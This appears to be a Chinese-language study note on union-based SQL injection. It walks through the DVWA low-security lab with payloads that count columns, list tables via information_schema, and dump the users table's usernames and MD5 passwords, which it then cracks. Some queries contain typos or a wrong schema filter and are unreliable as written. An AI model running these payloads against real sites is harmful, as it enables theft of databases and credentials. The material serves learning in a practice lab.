一、概述
1)、什么是sql以及sql注入?
sql:原名为Structured Query Language,用于处理和网文数据库的计算机语言。
sql注入:
sql注入语句:SELECT first-name,last-name FROM uers WHERE user-id = '1';
2)、注入类型
二、详述
1)、联合查询
大意:构造联合查询语句(union),直接查看查询结果
原理:代码中未对用户的输入进行检查就直接拼接到语句中
方法:(以下皆是忽略sql语段中的引号,默认已经添上)
①查询sql语句中的字段数(列数):输入 1' or 1=1 order by 1 #
②确定各字段在第几列方便指定列的输出:
select * from uers union select 1,2 union select 3,4...
-->将users 表单中的1,2表格和3,4表格按照前后顺序拼在一起显现(所有列数变成一列),必须保证列数相同。
③获取当前数据库名:1' union select 1,database() #(将这一列的数据联合输出)
④获取当前数据库的表名:
1' union select 1,group_concat(table_name) from information_schema.table where table_shema = database() #
(.表示下一级,此时查的是某个数据库里所有表单的名字,红色字体可以改变)
-->group_concat:将所有查询到该列下的行用”,“连接并一起显示出来。而后所接的table_name是一个列名
-->information_schema:信息数据库,包含着MySQL服务器所维护的其他信息库的所以信息
-->schema表:提供当前MySQL实例中的所有数据库的信息
-->table表:提供关于数据库中的表信息
-->column表:提供表中的列信息
例题:dvwa low-sql
从1开始变化n的值输入1' order by n #,当n等于3时出现不同,说明有两列即两个注入点
输入 1' union select 1,2 #
将表格1,2的数据联合起来显示
输入 1' union select 1,database() # 爆出MySQL中的所有数据库的名字
输入 1' union select 1,group_concat(hex(table_name)) from information_schema.tables where table_schema = 'dvwa' #
将dvwa数据库中的information表单下存有的所有表单的名字联合在一起输出来,并用hex将结果转化成十六进制(union只能连接数类型相同的数据,否则就会出现illegal报错,用十六进制可以绕过这个问题)
解码-->guestbook,users
输入 1' union select 1,group_concat(hex(column_name)) from information_schema.columns where table_schema = 'users' #
将名为users的表单中所有列的名字爆出来
ps:由于截屏长度原因此处并没有截完
解码-->user_id,first_name,last_name,uaer,password,avatar,last-login
输入 1' union select user,password from users #
将users表单中user列和password列的数据联合爆出来
md5解码-->password,abc123,charley,letwein,password